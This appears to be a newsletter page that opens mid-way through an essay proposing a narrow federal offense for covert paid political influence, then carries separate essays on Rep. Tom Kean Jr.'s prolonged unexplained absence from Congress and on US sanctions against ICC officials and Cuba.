Holder v. Humanitarian Law Project pulls more weight for this proposal than the precedents trotted out in most disinformation arguments. The Court there sustained a criminal statute against a First Amendment attack for one overriding reason, that the speech in question was coordinated with a designated foreign entity instead of offered up as independent advocacy. Chief Justice Roberts, writing for the majority, separated speech delivered on behalf of a foreign principal from speech a person makes on her own hook, and held that the coordination is what opens room for regulation independent advocacy would never permit. That split is the foundation FARA stands on, and it is why the foreign-principal half of today’s gap poses so little difficulty. It does the domestic half a favor too. The Court blessed the idea that paid coordination with a hidden principal is a different creature, constitutionally, from independent political speech, and nowhere does Holder hinge on the principal’s being foreign in any way that would block the same reasoning when a domestic principal hides his role just as thoroughly. So the proposal rests mainly on the transparency-and-attribution logic the Court has embraced from Buckley through the disclosure holding in Citizens United, the logic that does the heavy lifting, and consigns Holder’s compelling-interest framing to the foreign setting it was built for.

Second, the falsity element borrows directly from New York Times v. Sullivan and the cases after it. To count, a statement must be a verifiable assertion of fact made in knowing or reckless disregard of its falsity, leaving opinion, rhetoric, hyperbole, and the ordinary coloring of political talk safely outside. For sixty years the actual-malice standard has set the bar for defaming a public figure and has turned back First Amendment challenge after challenge. Dropping it in here saddles the government with the same exacting mens rea the Court insists on wherever the truth of political speech is what decides liability.

Third, the trigger is drawn tight. Liability reaches only communications tied to an election, to a foreign-interference operation, or to one of a short list of statutorily named public-health or public-safety emergencies, the settings in which hiding the sponsor matters most. Run-of-the-mill political commentary never comes near it. Take sponsorship and disclose it, and you have a complete defense. Pay openly and you commit no crime; nor does the speaker who was herself fooled about where her money came from, which, by the government’s own telling, is the situation most of the Tenet commentators were in.

Fourth, and this matters most, the case is made out of money and relationships, not out of what was said. Driehaus taught the lesson by counterexample, since Ohio’s regime collapsed the moment it let any complainant with a grievance set enforcement in motion by alleging a lie. Here a file cannot be opened because a clip went viral or read as inflammatory or cut against the party in power. It opens only on hard transactional facts, a payment, a contract, money threaded through shell companies, a false filing, an instruction from principal to speaker preserved in their correspondence. A bank ledger can start an investigation; a microphone cannot. The reach stops at cases where there really is a hidden principal, and prosecutors get no license to go fishing on the strength of speech alone.

None of which renders the law uncontroversial. A fresh federal crime sitting astride speech and election administration is going to draw lawsuits, and Eugene Volokh has made the sharpest case against it, arguing that compelling attribution in political speech warrants far more suspicion than compelling it in a commercial transaction, and that any regime of this sort invites selective enforcement against speakers the government dislikes. His is the objection worth taking most seriously, and the answer to it is built into the structure rather than talked around. Because an investigation can begin only from transactional evidence, prosecutors never get to open a case on the say-so of speech; because the gravamen is concealment of the sponsor, the government never has to prove what was true. An offense framed that narrowly parts ways with the political-false-statements laws the courts have invalidated. It parts ways, too, with the Stolen Valor Act that Alvarez rejected, a law that punished naked falsity with no nod to sponsorship, to deception about source, or to any concrete civic harm.

Section 230 and What Platforms Actually See

Section 230 of the Communications Decency Act shields interactive computer services from being treated as the publisher or speaker of information “provided by another information content provider.” Courts have construed that shield generously ever since the Fourth Circuit’s 1997 ruling in Zeran v. America Online, and the Supreme Court left it standing by implication when it disposed of Gonzalez v. Google on other grounds in 2023.

For the most part, this proposal lands outside Section 230 altogether. Its target is the speaker and the concealed sponsor, not the platform acting as a conduit for what users post. The one duty it would lay on platforms, holding onto business records for the paid-sponsorship transactions they broker or process themselves, attaches to the platform’s own behavior, not to anything a user uploaded. Courts have said again and again that obligations rooted in a platform’s first-party conduct fall outside Section 230 entirely. Doe v. Internet Brands shows how it goes. The Ninth Circuit let a failure-to-warn claim move forward because the duty grew out of what the platform itself knew, not out of user-generated content, and the same reasoning carries over to a record-preservation duty pinned to the advertising and sponsorship deals platforms already document.

A word about what platforms can actually see, because that is what dictates where a case like this gets built. Hardly any covert paid influence runs through a platform’s advertising API or its official creator-payout program. Money travels elsewhere, by wire and ACH, in invoices dressed up as consulting or licensing or production work, and increasingly in stablecoins and other cryptocurrency, often funneled through companies chartered in places where nobody has to say who owns them. The platform only ever sees the finished product, the video or the post or the livestream. The cash rarely shows up on screen.

Tenet illustrates the pattern almost too neatly. The $9.7 million did not show up tagged as a political ad buy. It traveled from RT through shell companies in Turkey, Mauritius, and the United Arab Emirates, landed in a Tennessee LLC’s account, and flowed back out to the commentators’ production firms, all of it papered over as routine commercial business, down to a bookkeeping entry, reproduced in the indictment, for the purchase of an iPhone. The hiding happened where the money was laid down, well below the layer where the content went up. By the time the clips surfaced on YouTube and X, the platforms could see nothing that set them apart from a thousand ordinary creator channels.

Two things follow for anyone serious about the problem.

The first concerns where the proof lives, and it is not in platform data. It lives in bank records, in corporate-registry filings, in the beneficial-ownership data FinCEN gathers under the Corporate Transparency Act, and in the back-and-forth between a hidden principal and the middleman who hires and pays the talent. Those records establish agency and concealment, and they are the very files the Justice Department already pulls in its money-laundering and FARA cases. Strip away the speech and a covert-influence prosecution is, mechanically, a financial-crime prosecution whose end product happens to be words. The second thing is a difficulty better admitted than glossed: shell layering, nominee owners, crypto rails, all of it exists to beat precisely this kind of tracing, and beneficial-ownership reporting has lately been cut back in scope and enforced unevenly besides. Promise that the paper trail is easy to follow and you will be promising more than the facts allow. Truer to say that a trail, when it can be traced at all, runs through ledgers and registries rather than through anything anyone said on camera.

All of which doubles as the reply to the fear that this statute would turn into a speech-surveillance tool. An enforcement model that starts from money cannot be set off by a post that goes viral or offends or annoys the powerful, for the plain reason that none of those is a financial record. Concealed money in motion is the predicate. Frame the crime that way and the speech enters the case only after the money has, never before.

An earlier draft of this proposal asked the big platforms to build a “paid sponsor” attribution feature that speakers and sponsors could use to satisfy their disclosure duties. That requirement has been struck from this version. Moody v. NetChoice holds that content moderation is itself expressive activity under the First Amendment, and the lead opinion sweeps widely enough that a clever litigant could recast a mandated design feature as compelled expression. Better to sidestep the whole fight. Liability under this statute falls on the speaker and the sponsor, and a sponsor bent on compliance has tools in hand already, plain-text disclosure in the post chief among them. Leaving the platform question open simply acknowledges that Moody remains unsettled, and keeps a speaker-sponsor statute from having to fight that doctrinal battle on its own.

Two more guardrails belong in the design. The statute cannot saddle platforms with a duty to guess at or enforce the sponsorship status of what users post; that road leads straight back into Section 230, and it would rebuild the content-adjudication regime the whole proposal exists to avoid. Neither should the statute set up anything resembling notice-and-takedown for political speech. Notice-and-takedown is a wholly different mechanism, its chilling effects exhaustively documented in the DMCA fights, and it grows more hazardous still once political speech is the subject. The platform’s job comes to this and no more: keep your own transaction records, and answer lawful process aimed at specific operations.

A demand drawn that narrowly lives comfortably inside Section 230 as the courts read it, and inside the compelled-disclosure case law of the First Amendment.

Building the Case Without Building a Dragnet

The gravest objection to any criminal law that brushes up against speech is that it will end up trained on opposition politicians, on dissidents, on journalists, on the groups that make up civil society. The worry is earned. Counterterrorism powers passed after September 11 were turned, again and again, to ends their authors had sworn off at enactment. FARA carries its own checkered history, including registration demands aimed in the 1960s at civil-rights activists whose so-called foreign principals were flimsy at best. A proposal worth taking seriously has to treat that danger as something to design against, not a debating point to wave away. And the past year, in which the power to pursue influence operations has been switched on and off along nakedly partisan lines, drives the worry home.

That evidence trigger is the first line of defense, and it carries most of the load; an inquiry opens from concealed money in motion and from nothing a speaker said. A second line has to come at the investigative stage. Since the money sits off-platform, the tools are the familiar ones from money-laundering and FARA work, subpoenas to banks, demands for corporate records, grand-jury process served on the intermediaries, and, where it fits, FinCEN’s beneficial-ownership data. Reaching past that into private messages, into platform records beyond the transaction logs, into wallet histories or subscriber identities, ought to take a warrant or court order naming a particular person or entity, fixing a time window, and showing that nothing less intrusive would do the job. The statute should slam the door on dragnet keyword sweeps and forbid predicate-free trawling of people’s political associations. It should bar, as well, any referral built on the content of speech where no independent transactional evidence backs it.

The third guardrail is a matter of who holds the reins. The authority to enforce should rest with the Justice Department’s Public Integrity Section and National Security Division rather than with some newly minted agency, and it should answer to the same congressional oversight that rides herd on other sensitive enforcement work. Declinations should be tallied and reported in the aggregate. Cases opened and then closed without charges should be open to independent inspection. There is nothing exotic in any of this; it is the ordinary plumbing of an enforcement program that works.

One last piece is indispensable, and it is real data access for vetted independent researchers. Nearly all the rigorous empirical work on covert influence has come from outside the enforcement machinery, from the Stanford Internet Observatory before it was wound down in 2024, from Alicia Wanless and the Carnegie Endowment’s program on countering influence operations, from the Brennan Center’s work on political-advertising disclosure. Scholarship of that kind, far more than any platform’s own reporting, has kept the public account of these operations honest. Shut independent researchers out and the regime will understand less than it does today and it will fall prey to the predictable vices of self-reporting, inflated metrics and convenient omissions.

The Offense, Element by Element

The offense can be written in five elements. To convict, the government would have to prove each beyond a reasonable doubt:

1. Payment: The defendant received, provided, or financed the provision of money or a thing of value in exchange for the communication at issue.

2. Concealment: The defendant knowingly concealed the sponsorship relationship from the audience, or knowingly misrepresented the source, identity, or interests of the sponsor, and knew or was substantially certain that the concealment or misrepresentation would cause the audience to perceive the communication as the speaker’s own independent expression rather than paid or sponsored content.

3. Material falsity: The communication included one or more statements of verifiable fact that were false, and the falsity was material to the communication’s persuasive force.

4. Mens rea as to falsity: The defendant knew the statement was false, or acted with reckless disregard for its truth or falsity, at the time of the communication.

5. High-stakes context: The communication occurred in connection with a federal or state election, a foreign-interference operation, or a narrowly defined public-health or public-safety emergency designated by statute.

Two rules govern how those elements may be proved and against whom:

• Deliberate ignorance: Wherever this section requires that a defendant acted knowingly, including knowledge of the sponsorship under element 2 and knowledge of falsity under element 4, that requirement is satisfied by proof that the defendant subjectively believed there was a high probability of the fact and deliberately avoided confirming it. Negligence, recklessness, or a mere failure to investigate is not deliberate ignorance. A speaker who is affirmatively deceived as to the source of payment, and who has no reason to suspect the deception, has not acted knowingly under this section.

• Attribution: The elements need not be satisfied by a single person. One who directs, finances, or organizes a covert paid-influence operation, with knowledge of its concealing and false character, is liable as a principal even if he neither communicates with the audience nor personally utters the false statement. Elements supplied by one participant are attributable to another who knowingly joins or directs the operation, under ordinary principles of conspiracy and aiding-and-abetting liability. No participant is liable for an element as to which he lacked knowledge and that was not a reasonably foreseeable part of the operation he joined.

A set of safe harbors knocks out liability. It is a complete defense that the sponsor was disclosed clearly and conspicuously, on terms the statute specifies. No liability attaches to statements of opinion; to parody, satire, or other communications a reasonable audience would not take as assertions of fact; to journalism; to whistleblowing; to an honest, good-faith mistake as to either the sponsorship or the truth of the statement; or to the mere provision of neutral infrastructure or services. And no liability runs to a member of the audience.

Run the Tenet operation through these elements and it falls outside them, which is the design rather than a flaw in it. The on-air commentators were deceived about their paymaster, so none of them knowingly concealed anything under element 2, and the deliberate-ignorance rule does not reach a speaker with no reason to suspect; on the government’s own account, that describes them. The principal, meanwhile, was foreign, the one part of the chain FARA is built to reach, though in Tenet that reach closed on two absent Russians and on no one in the U.S., which is the blind spot a domestic offense is meant to cover. The statute is built for the case Tenet only points toward, the domestic principal funneling money to a witting intermediary and an on-camera voice who knows whose message he is carrying, the case that as of today triggers no disclosure obligation anywhere. Tenet is the warning — not the test case.

Aggravated conduct is the whole of what the statute reaches, and the honest difficulty is what happens to everything below that line. Ordinary, non-aggravated failure to disclose does not belong in a criminal court; it belongs in a civil regime of disclosure rules. But the civil floor that would catch it is, just now, rubble. The FEC can promulgate nothing, and the FARA modernization that might have helped sits frozen. The statute should therefore carry its own civil tier rather than lease one from agencies that cannot act, a graduated, administratively enforceable penalty for paid non-disclosure short of the criminal threshold, lodged somewhere that still has a quorum. Until that tier exists, the criminal layer stands alone, and its narrowness is deliberate. It bites only where the sponsorship is knowingly hidden in a way the operator was substantially certain would pass as independence, where the underlying factual claim is knowingly or recklessly false, and where all of it unfolds in a high-stakes setting.

The qualifying cases will be few, and each will rest on the same deception-about-source theory — the one with the firmest claim on democratic principle and the surest doctrinal ground.

How Other Democracies Have Handled It

No peer democracy has written a general crime of disinformation onto its books, and holding back has been the wiser instinct. The jurisdictions worth watching have gone after systemic platform risk, after sponsorship disclosure, after covert foreign agency, and have done it all without setting themselves up to rule on contested content.

In the European Union, the Digital Services Act loads systemic-risk obligations onto the largest platforms under Articles 34 and 35, compels transparency in advertising, and opens platform data to vetted researchers under Article 40. The companion Political Advertising Regulation, (EU) 2024/900, most of which took effect on October 10, 2025, makes political ads name their sponsors, stand up a public repository, and keep foreign money at arm’s length as elections approach. Neither one makes disinformation a crime. Both train their attention instead on who is paying, how the targeting works, and where the funds move.

Britain’s National Security Act 2023 built a foreign-interference offence around conduct that turns on misrepresentation and is undertaken for, or at the direction of, a foreign power. The drafters reached for the covert-agency idea, not a license to police content, and they slotted the offence alongside the Online Safety Act’s systemic-duties framework instead of a content-based speech crime.

France’s Law No. 2023-451 took on commercial influencers, requiring them to label sponsored content and flag certain doctored images. Political speech sits outside its direct ambit, yet it has set a disclosure-first template for governing the influencer economy that a number of other European countries are now copying. Attribution runs through every one of these schemes like a single thread. Not one hands the state the power to declare a contested political claim true or false. Instead, each shrinks the room in which paid persuasion can operate while keeping its sponsor in the dark.

My research indicates American statute books contain nothing of the kind.

Coda

FARA caught the Tenet operation for a single reason: the foreign broadcaster sitting at the very top of the chain. The Commission’s two refusals left the domestic version of the same conduct, almost surely the commoner version, under no federal disclosure requirement at all. And as paid influence keeps migrating into channels the campaign-finance laws were never built to cover, the gap widens by the year, in doctrine and on the ground alike.

Something shifted after 2024. The gap stopped being a byproduct of drift and became a set of choices. Across 2025, the executive narrowed FARA’s criminal enforcement against foreign operations, disbanded the task force built to spot them, left the modernization rule to gather dust rather than advance it, and let the FEC fall below a working quorum while the one body equipped to require influencer transparency went dark. Then, with NSPM-7, it turned FARA back on and aimed it at domestic nonprofits and political adversaries. Leaving covert paid persuasion unregulated, and reserving the enforcement machinery for the government’s critics, is now a decision taken deliberately, by the very institutions that would run any replacement.

All of that is the case for writing the rule into a statute instead of leaving it to the discretion of agencies and for arming it with guardrails fit for a world where the power to enforce gets switched on and off according to party. An offense built on covert paid agency rather than contested content, carrying a Sullivan-grade state of mind, a trigger that bars prosecutors from opening files on speech, and oversight made to be audited, looks nothing like the political-false-statements laws the courts have voided, and nothing like the censorship apparatus the First Amendment was written to forestall. It has the added virtue of being hard to switch off, unlike the levers this administration has shown it can pull at will — suspending enforcement here, hollowing an agency there, retraining a statute on new targets when it suits.

The other path is the one we are on, with covert actors at home and abroad free to buy the costume of independent civic speech, working the ever-wider gap between where the FEC stopped and where FARA’s foreign-principal trigger begins. That gap is no accident of equilibrium. Someone chose it, and in 2025 the choosing turned deliberate.

In an election where paid messaging wears the costume of independent conviction, where the backers paying for it, foreign and domestic, answer to no law that would make them say so, where a voter cannot tell persuasion that was bought from persuasion that was meant, and where the money, if it is ever traced, comes to light only after the ballots are counted and the result is already set, the 2026 midterms will be the first national test of whether the country can live that way.

The author is a technologist, not a lawyer, and welcomes further discussion and analysis on this topic from the wider legal community. Jackie Singh is a CISSP-certified information security practitioner and investigative journalist who served as a senior cybersecurity staffer for the Biden 2020 campaign. She writes for Hacking, But Legal.

Get 25% off for 1 year

On the X account belonging to Representative Thomas Kean, Jr., of New Jersey’s Seventh Congressional District, the first-person pronoun has continued to do its quiet work. I’m fighting for… I'm pleased to join… I submitted… I met my wife while we were both working at the EPA… I’m working to secure…

Between early March and late April of this year, the account posted more than a hundred times. None of the photographs in those posts, reporters have noted, can be reliably dated to the period in question. The pictures are stock or recycled. Whoever writes the posts has Kean’s voice down. Kean himself has not been seen.

Kean — Republican, son of the former governor whose name still functions as civic shorthand in New Jersey — last cast a vote in the House of Representatives on March 5th. His voting card has been idle since. By mid-May, he had missed close to a hundred roll calls, including contested measures on which his caucus, holding a one-seat margin, needed every body it could find. His office has described his absence, with a consistency that begins to feel rehearsed, as “a personal health matter,” and has named no diagnosis, no facility, no procedure, no timeline beyond the office's week-by-week assurance that he will be back soon.

Reporters from the Times, NBC, NJ Advance Media, and NOTUS have gone looking and have not found him. In Westfield, his hometown, neighbors say they have not seen Kean in months. The house, by several accounts, has looked unused. His wife, once a regular figure in the neighborhood, walking the dog and pulling out of the driveway, has been glimpsed only intermittently; one NOTUS reporter saw her at the property but never her husband. Doorbells go unanswered. No town hall to crash, no ribbon-cutting to attend. For any incumbent during an election year, this would be an unusual silence; for one in a swing district months out from a primary, it is something stranger.

◆

The official account of his condition has come almost entirely through intermediaries. Kean’s father, Tom Kean, Sr., told CNN that his son was suffering from a “serious” illness “real” enough, in the elder Kean’s phrasing, to knock him out, that several doctors were involved, that the condition was not degenerative, and that a full recovery was expected. Speaker Mike Johnson has described a “short, very positive conversation” by telephone in which Kean sounded upbeat and eager to return to Washington. The Washington Times reported that Kean had also called Richard Hudson, who chairs the National Republican Congressional Committee, to reiterate that he is still running for reelection. Two of the county Republican chairs in New Jersey, Carlos Santos in Union and Tracy DiFrancesco in Somerset, say they received calls in which Kean sounded like himself and confirmed his plans to seek a third term.

Nearly eleven weeks after his last vote, Kean himself gave a phone interview to the New Jersey Globe. His doctors, he said, were “confident” he was on the road to a “full recovery”; he anticipated returning to voting and to the campaign trail within a couple of weeks. He did not name the illness. He did not say where he was or who was caring for him. No reporter has spoken with him in any setting where his condition could be observed.

◆

Congress has never been candid about its own infirmities, and the recent record reads like a study in how much vagueness the institution can absorb. Dianne Feinstein spent months away from the Senate in 2023 with shingles and a subsequent brain inflammation; she returned visibly diminished and was permitted to finish out her term. With Mitch McConnell, after a series of televised freezing episodes, a brief letter from the Capitol physician, referencing neither imaging nor diagnosis, was sufficient to close the matter formally if not in the eyes of the public. John Fetterman went the other way in 2023, checking himself into Walter Reed for clinical depression and announcing it openly. He has since suggested he regrets that openness, which says something about the incentives.

A nearer parallel within the current Congress is Frederica Wilson, the Democratic representative from Florida’s Twenty-fourth District, who missed more than forty votes this spring while recovering from eye surgery. Wilson, like Kean, was the subject of a Hill piece grouping the two as case studies in absenteeism. Unlike Kean, she eventually sat for a local-television interview, on Miami’s Channel 10, in which she confirmed a second procedure and explained that her doctors had forbidden her to fly. She put out a statement under her own name. Voters could watch her speak and judge for themselves whether her account of her recovery matched what they saw. The disclosure was partial. She did not produce charts. It was nevertheless the kind that allows constituents to perform the small, ordinary act of verification.

Kean has offered nothing comparable. Reporters have produced no video and located no clinic. The closest thing to evidence of his current state is a chorus of party officials describing how he sounded on the phone.

◆

Legal mechanisms for dealing with an absent member of Congress are thinner than most voters might assume.

Article I, Section 5 of the Constitution lets each chamber “compel the attendance of absent members” and “punish” them for disorderly behavior, including expulsion by a two-thirds vote. Prolonged nonattendance could, in theory, qualify as misconduct; in practice, expulsion has been reserved for the Confederates of the eighteen-sixties, for members convicted of serious crimes, and for the occasional spectacular scandal, never for chronic absence by itself. The Supreme Court’s 1969 decision in Powell v. McCormack further constrained Congress from excluding members for reasons beyond the Constitution’s stated requirements of age, citizenship, and residency. House leaders are unlikely to test those limits in a case framed as illness. Nothing in the rules provides a procedure for vacating a seat because the member has stopped appearing. Death and resignation, the system understands. A quiet fade is outside its vocabulary.

Modern congressional offices, meanwhile, are engineered to outlive their principals’ presence. A member’s staff drafts press releases, manages constituent casework, posts to social media, responds to emails, and, increasingly, files documents that once required a physical signature. NOTUS reported that Kean’s financial disclosures showed digitally signed stock trades worth between roughly fifty thousand and one hundred ninety thousand dollars during the very weeks when no journalist could locate him. None of this is improper on its face. When a member is briefly hospitalized or away for a week, the institutional autopilot is exactly what permits the work to continue. Sustained over months, the same arrangements describe an office producing the outputs of representation without the representative.

The cost is not abstract. Kean sits on the House Foreign Affairs Committee, which receives classified briefings on matters from Ukraine to the Indo-Pacific, and on Energy and Commerce, whose jurisdiction reaches telecommunications, energy policy, and large parts of the technology sector. Briefings continue, and votes are cast or not cast, with staff sitting in for an elected official whose chair is technically still occupied. Constitutionally, this work is supposed to be done by a representative of the people of the Seventh District; in practice, it is being done by people who have never been on any ballot.

◆

New Jersey’s Seventh has, for a decade, swung. Tom Malinowski, a Democrat, took the seat in 2018; Kean took it back in 2022 and held it, narrowly, in 2024. Democrats placed Kean on the D.C.C.C.’s 2026 target list early, and Inside Elections has since shifted its rating in their direction. Politico has reported that Democrats see the seat as increasingly in play, with some strategists, privately, regarding Kean as politically finished. A crowded Democratic primary will be decided on June 2nd, and the eventual nominee will inherit a campaign theme that requires no embellishment. The incumbent has not been seen.

Republicans insist that the illness is temporary and the office functioning, and that Kean will be back. Replacing him on the ballot would be procedurally difficult and politically humiliating, an admission of the very thing they currently deny. The party, for now, holds the line. In the district, meanwhile, a seat exists without an occupant anyone has seen.

◆

There is a temptation, in writing about a case like this, to make it stand for something larger: the aging political class, the octogenarian presidents, the committee chairs struggling through hearings, the lifetime appointees performing competence by ritual. The gesture is warranted, but the local point suffices. A congressman has not been seen outside a small circle of party officials in nearly three months. He has issued no statement under his own voice that could not have been produced without him. His district has been served, in the meantime, by a digital reproduction of representation — posts and statements and casework and signatures, all in his name. Lacking any procedure for declaring this a problem, the institution has declined to declare it one.

Whether voters reach the same conclusion is, for the moment, the only mechanism left.

In February 2025, Donald Trump signed Executive Order 14203. The order declared that the International Criminal Court’s efforts to investigate American or Israeli personnel posed an “unusual and extraordinary threat” to U.S. national security. By December, eleven ICC prosecutors and judges sat on the same Treasury blacklist normally reserved for drug traffickers and oligarchs. Canadian judge Kimberly Prost was one of them, sanctioned in August in connection with a 2020 ruling on Afghanistan. She told The Irish Times what happened next: credit cards canceled overnight, banks dropping her account, Amazon shutting her out, the Alexa device in her home in The Hague going silent. A colleague’s daughter had her U.S. visa revoked.

On May 1, 2026, Trump signed a second order, declaring open season on a wide circle of Cuban officials, state-linked businesses, and the foreign banks that finance them. Its mechanism mirrors the one used against the ICC: asset freezes, travel bans, secondary sanctions threatening any third-country institution that handles a designated person’s money. A bank in Madrid or Montreal that processes a payment for a sanctioned Cuban port operator now risks losing access to the U.S. dollar system.

Read the two orders side by side, and a working doctrine emerges.

International jurisdiction over American or allied officials, even under a treaty 125 countries have ratified, is denounced as lawfare. American jurisdiction over foreign officials, businesses, and even foreign judges, exercised unilaterally with no treaty basis and no mechanism of consent, is framed as sovereign common sense. Washington’s complaint about the ICC is not really that international law overreaches — it is that someone else has begun reaching.

Criminal law for thee, sanctions for me

Washington dresses its case against the ICC in the familiar grammar of consent. America never joined the Rome Statute that created the court. Successive administrations have insisted that a treaty cannot bind a state which has not signed it, and that ICC jurisdiction over Americans for conduct in Afghanistan, or over Israelis for conduct in Palestine, violates that principle. On paper, sovereignty is the issue.

The argument collapses on contact with U.S. practice. A government that insists The Hague cannot judge its nationals asserts a sweeping right to judge the world through Treasury designations, freezing the assets of foreign officials, blacklisting foreign companies, and threatening foreign banks for conduct that occurs entirely outside U.S. territory, so long as a dollar somewhere in the chain provides a hook. Pressed on the inconsistency, Washington responds that controlling access to American markets and the world’s reserve currency is a domestic matter. Brussels and Brasília call this extraterritorial reach. Washington calls it the right of any sovereign to choose its trading partners.

Two propositions are being asserted at once. A multilateral court built on treaty consent has no business touching American or Israeli officials, even when alleged crimes occur on the territory of states that have accepted the court’s authority. A single state, by contrast, has every right to decide which Cuban general, which Iranian banker, or which Hague-based prosecutor may travel, bank, or do business anywhere on earth that depends on dollars. One proposition rests on a principle. The other rests on market share.

Stripped of its legal vocabulary, the doctrine is a hierarchy. American officials and close allies sit at the top, effectively shielded from international criminal accountability by political and financial muscle. Beneath them, the officials of weaker states find themselves simultaneously subject to ICC jurisdiction and to the U.S. sanctions apparatus.

At the bottom, judges and prosecutors who investigate the wrong suspects find their own names on the list alongside the people they were trying to bring to trial.

How Cuba went dark

“Cuba’s finished. They have a bad regime. They have very bad and corrupt leadership. And whether or not they get a boat of oil, it’s not going to matter.”

—Donald Trump, March 30, 2026

Understanding what the May 1 order expands requires understanding what brought Cuba to the brink in the first place. Washington’s preferred explanation, which blames Cuban mismanagement, will not do the work.

Cuba’s grid was already failing well before 2026. Its thermoelectric plants are Soviet-era infrastructure held together with improvisation, maintenance deferred for decades. Cuba’s 2021 currency unification, pitched as rationalization, landed instead as another shock to an economy already off balance. Major island-wide outages struck repeatedly in late 2024, including a total grid collapse in October that took days to restore. Venezuelan oil shipments, Cuba’s lifeline since the Soviet Union dissolved, had been declining for years as Caracas’s own economy unraveled. Internal corruption is real, state planning a long-running disaster. None of this is in dispute.

What changed in the first weeks of 2026 was not Cuban policy. It was American policy.

In December 2025, the U.S. Coast Guard seized the tanker Skipper in the Caribbean as it carried sanctioned Venezuelan crude, an action Cuba’s foreign ministry called an “act of piracy and maritime terrorism.” A week later, Washington formalized a blockade on sanctioned tankers moving in or out of Venezuela. On January 3, 2026, U.S. forces executed Operation Absolute Resolve, capturing Venezuelan president Nicolás Maduro and his wife in a helicopter assault on Caracas. Two days later, the couple were arraigned before U.S. District Judge Alvin Hellerstein in the Southern District of New York on narcoterrorism and drug-trafficking charges. Venezuelan oil shipments to Cuba, already shrinking, ended. Trump’s Executive Order 14380 on January 29 threatened tariffs on any country that picked up the slack. Mexico’s state oil company Pemex, under pressure, halted its shipments. Other suppliers followed.

The New York Times described what resulted as the first effective American blockade of Cuba since the missile crisis. The administration has made no secret of its purpose. Regime change by the end of the year, with Trump musing publicly about having “the honor of taking Cuba” while predicting the government will collapse “within a short period of time.” The blockade is not an unintended consequence of the policy so much as it is the policy.

Run the numbers. Cuban mismanagement was a constant from January 2025 to January 2026. The variable that changed was American policy. Hold one variable steady, change the other, watch the outcome shift, and you can see which input is doing the causal work. Cuban dysfunction is the pre-existing condition.

The U.S. policy put the patient in intensive care.

Independent assessments arrived quickly and bluntly. UN human rights experts in February condemned the January order as “a serious violation of international law” and “an extreme form of unilateral economic coercion with extraterritorial effects” — language UN special rapporteurs have rarely applied to American policy. By March, World Health Organization director-general Tedros Adhanom Ghebreyesus was warning publicly that “thousands of surgeries have been postponed during the last month, and people needing care, from cancer patients to pregnant women preparing for delivery, have been put at risk due to lack of power to operate medical equipment and cold chain storage for vaccines.” UN Secretary-General António Guterres said he was “extremely concerned” the humanitarian situation could “worsen, or even collapse.” Reporting from Havana described medical staff hand-pumping intensive-care equipment during blackouts to keep critical patients alive.

NPR’s coverage of the crisis put the contradiction plainly: the blockade has had “devastating effects on the civilians Trump and Secretary of State Marco Rubio say they want to help.”

Then came the small episode that gave away the rule. In late March, after months of what Cuban officials called a de facto oil blockade, the sanctioned Russian-flagged tanker Anatoly Kolodkin docked at Matanzas carrying 730,000 barrels of crude. Trump waved it through aboard Air Force One: “We have a tanker out there. We don’t mind having somebody get a boatload because they need... they have to survive.” His press secretary, Karoline Leavitt, told reporters the next day this was a humanitarian exception and “not a policy change.”

Five weeks later, Trump signed the May 1 order expanding the very sanctions architecture the tanker had briefly bypassed. The exception confirmed the rule it broke. Washington had reserved itself the prerogative to decide who eats, who has lights, and who treats their patients, on a case-by-case basis, by executive whim.

The architecture of the new order

The May 1 executive order does several things at once. Major sectors of the Cuban economy get designated as high-risk zones: energy, defense, metals and mining, financial services, security. Anyone judged to have operated in those sectors, from cabinet ministers down to mid-level managers, can have property blocked in the United States and entry barred. People deemed responsible for human rights abuses or corruption face the same fate. So do their adult family members, an extension of liability that would not survive a constitutional challenge if applied to American citizens.

Secondary sanctions are the genuinely new feature.

Foreign financial institutions that conduct “significant” transactions for designated Cuban actors face restrictions on their U.S. correspondent and payable-through accounts, the plumbing through which dollar-denominated commerce actually flows. Washington has used the mechanism to police Iran-related transactions for years. Applying it to Cuba treats the entire Cuban economy as a contamination risk to be quarantined.

Three days before Trump signed the order, the Senate had a chance to weigh in. Tim Kaine of Virginia introduced a war powers resolution that would have barred the president from launching military action against Cuba without congressional approval. Kaine argued the United States was already engaged in hostilities, and pointed to the oil blockade as evidence: “The U.S. is using force to block energy from going to Cuba.” If another country did this to America, he added, Washington would consider it an act of war. Senate Republicans blocked the procedural vote 51-47. Florida senator Rick Scott called the issue “moot” because Trump had not yet deployed troops. The blockade itself, in this telling, was not hostilities. The boats turning back, the hospitals running on fumes, the surgeries postponed: none of it counted.

Cuba’s role in this story is functional, not symbolic. The island has served sixty years as a laboratory for aggressive sanctions design, and tools developed against Havana have routinely migrated to other targets. The blueprint Trump signed on May 1, with its declared national emergency, broad sectoral designations, and secondary reach into third-country banks, is now portable. It is also self-renewing, requiring no congressional buy-in beyond the president’s annual notice that the emergency continues.

Set the Cuba policy beside the Russia policy, and the doctrine becomes difficult to defend with a straight face. Sanctions on Moscow are sold as essential to containing the war on Ukraine and deterring further aggression in Eastern Europe. Treasury, meanwhile, has repeatedly issued general licenses allowing certain Russian oil shipments to clear, ostensibly to avoid shocks to global energy markets. Russian crude finds its way to market when American consumers might otherwise feel the price. Cuban hospitals, which exert no comparable pressure on the price of gasoline in Ohio, receive no such accommodation.

What comes after the lights go out

“Cuba is going to be next,” Trump told the Associated Press. “It’s going to fail. And we will be there to help it out.” Pressed on the Russian tanker, he laughed off its significance: “He loses one boatload of oil. That’s all it is... It’s not going to have an impact. Cuba’s finished.”

Look closely at the framing.

Trump describes a country whose collapse he is engineering as a country collapsing on its own. The “help” he offers is reserved for Cuban-Americans in Florida, the political constituency that votes in U.S. elections, not for the ten million Cubans currently on the island whose hospitals are running out of fuel. The Castro brothers are both dead; the man Trump is starving out of power is Miguel Díaz-Canel. None of this slows him down. Cuba is finished, and the United States will be there.

Cuba is one stop on a route. Replay the past sixteen months, and the rhythm is the same each time. Pick a target. Manufacture the crisis. Take out the leadership. Move on before anyone has to govern what’s left. Venezuela was the precedent. Greenland was the trial balloon. Cuba is the test of whether financial weapons alone can do what helicopters did in Caracas.

Maduro had been in U.S. custody for less than 48 hours when Trump told reporters that the United States would “run” Venezuela “until such time as we can do a safe, proper and judicious transition.” Asked about elections, Trump said: “Well, I think we’re looking more at getting it fixed, getting it ready first, because it’s a mess.” Almost in the same breath, he announced that U.S. oil companies would enter Venezuela to “fix” its energy infrastructure and would be “reimbursed for their efforts.” Maduro’s vice president, Delcy Rodríguez, was sworn in as acting president. The Trump administration signaled it was willing to work with her, the same Rodríguez who had been deeply implicated in Maduro’s repression and corruption.

